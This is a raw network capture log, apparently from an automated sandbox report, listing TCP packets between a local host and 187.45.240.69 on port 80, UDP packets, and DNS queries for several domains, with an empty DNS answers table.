Aug 16, 2022 11:53:40.773794889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773813009 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773829937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773835897 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773840904 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773875952 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773885965 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773905039 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.773957968 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.773988008 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774034023 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774065971 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774115086 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774135113 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774183035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774231911 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774281979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774348974 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774399996 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774426937 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774472952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774476051 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774519920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774557114 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774606943 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774627924 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774712086 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.774744034 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.774766922 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781727076 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781781912 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781805992 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781830072 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781852961 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781874895 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.781879902 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781902075 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781905890 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781960011 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781965017 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781969070 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.781986952 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782031059 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782077074 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.782099009 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.782110929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782193899 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782208920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.782241106 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782254934 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.782263994 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.782289028 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.782326937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.784157991 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.786145926 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806709051 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806749105 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806771040 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806793928 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806794882 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806818008 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806822062 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806826115 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806828022 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806840897 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806847095 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806864023 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806885958 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806909084 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806909084 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806914091 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806931019 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.806931973 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806972980 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.806976080 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.808758974 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.811074972 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.025796890 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.025856018 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.025908947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.026490927 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.046551943 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.046583891 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.046659946 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.046695948 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.115097046 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.225598097 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.361618042 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361650944 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361673117 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361726046 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361761093 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361799002 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.361810923 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.361849070 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361874104 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361907959 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.361937046 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.361958981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.361983061 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362029076 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362049103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362059116 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362082005 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362092018 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362133026 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362154961 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362206936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362217903 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362245083 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362252951 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362276077 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362286091 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362306118 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.362332106 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.362355947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.429830074 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.459870100 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.459892988 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.459908962 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.459963083 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.460004091 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.464405060 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.466103077 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.702476978 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.702508926 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.702527046 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.702625036 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.705841064 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710150003 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710175037 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710196972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710218906 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710235119 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710244894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710259914 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710283041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710292101 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710310936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710331917 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710341930 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710362911 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710382938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710395098 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710406065 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710534096 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710573912 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710597038 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710619926 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710628986 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710649967 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710671902 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710680008 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710699081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710721016 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710730076 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710748911 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710769892 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710779905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710800886 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710822105 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710830927 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710853100 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710874081 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710881948 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710901976 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710923910 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710932970 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710951090 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.710959911 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.710980892 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711000919 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711009979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711030960 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711051941 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711061954 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711082935 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711103916 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711112976 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711132050 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711153030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711162090 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711182117 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711203098 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711213112 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711230993 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711240053 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711261988 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711283922 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711292982 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.711313009 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711333990 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.711342096 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.713314056 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.714546919 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.725637913 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.942399025 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.942431927 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.942451954 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.942487955 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.942516088 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.945127010 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.961679935 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961715937 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961739063 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961760044 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961785078 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961810112 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961838961 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.961848974 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.961873055 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961882114 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.961905003 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961941957 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:41.961962938 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.961977005 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.964236975 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:41.965826035 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178750038 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178778887 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178792000 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178805113 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178822994 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178838968 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178855896 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178873062 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178889990 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178899050 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178906918 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178924084 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178924084 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178929090 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178931952 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178940058 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178941965 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178960085 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178961039 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178972006 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178977966 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.178988934 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.178997040 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179013968 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179032087 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179038048 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179049969 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179049969 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179069996 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179085970 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179212093 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179229021 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179245949 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179264069 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179270029 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179281950 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179290056 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179294109 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179302931 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179320097 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179323912 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179337025 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179337978 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179357052 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179371119 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179374933 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179393053 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179409027 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179425001 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.179435968 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179442883 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.179462910 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.181579113 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.183890104 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.209728956 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.209748983 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.209811926 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422404051 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422473907 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422557116 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422568083 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422602892 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422605038 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422621012 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422642946 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422683954 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422683954 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422703981 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422740936 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:42.422744036 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:42.422810078 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:47.217624903 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:47.217889071 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:47.424468040 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:47.424638033 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:02.624624968 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:55:02.625869989 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:02.626373053 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:02.626616001 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:55:02.642956972 CEST	80	49176	142.250.181.238	192.168.2.22
Aug 16, 2022 11:55:02.643259048 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:55:02.643265009 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:55:02.643385887 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:55:03.138206005 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:03.200737000 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:03.746809006 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:03.949520111 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:04.963732958 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:05.431664944 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:07.366183043 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:08.395855904 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:12.219006062 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:55:14.324379921 CEST	49201	80	192.168.2.22	187.45.240.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:53:16.944611073 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:53:16.963777065 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 16, 2022 11:53:16.964754105 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:53:16.983875990 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 16, 2022 11:53:18.689145088 CEST	58836	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:53:18.700560093 CEST	50134	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:53:18.709820986 CEST	53	58836	8.8.8.8	192.168.2.22
Aug 16, 2022 11:53:18.726362944 CEST	53	50134	8.8.8.8	192.168.2.22
Aug 16, 2022 11:53:37.167284966 CEST	54408	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:53:37.190423012 CEST	53	54408	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 16, 2022 11:53:16.944611073 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	facextrade.com.br	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:16.964754105 CEST	192.168.2.22	8.8.8.8	0xf35a	Standard query (0)	facextrade.com.br	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:18.689145088 CEST	192.168.2.22	8.8.8.8	0x2b6a	Standard query (0)	netdna.bootstrapcdn.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:18.700560093 CEST	192.168.2.22	8.8.8.8	0x910a	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:53:37.167284966 CEST	192.168.2.22	8.8.8.8	0xc313	Standard query (0)	storage.ie6countdown.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
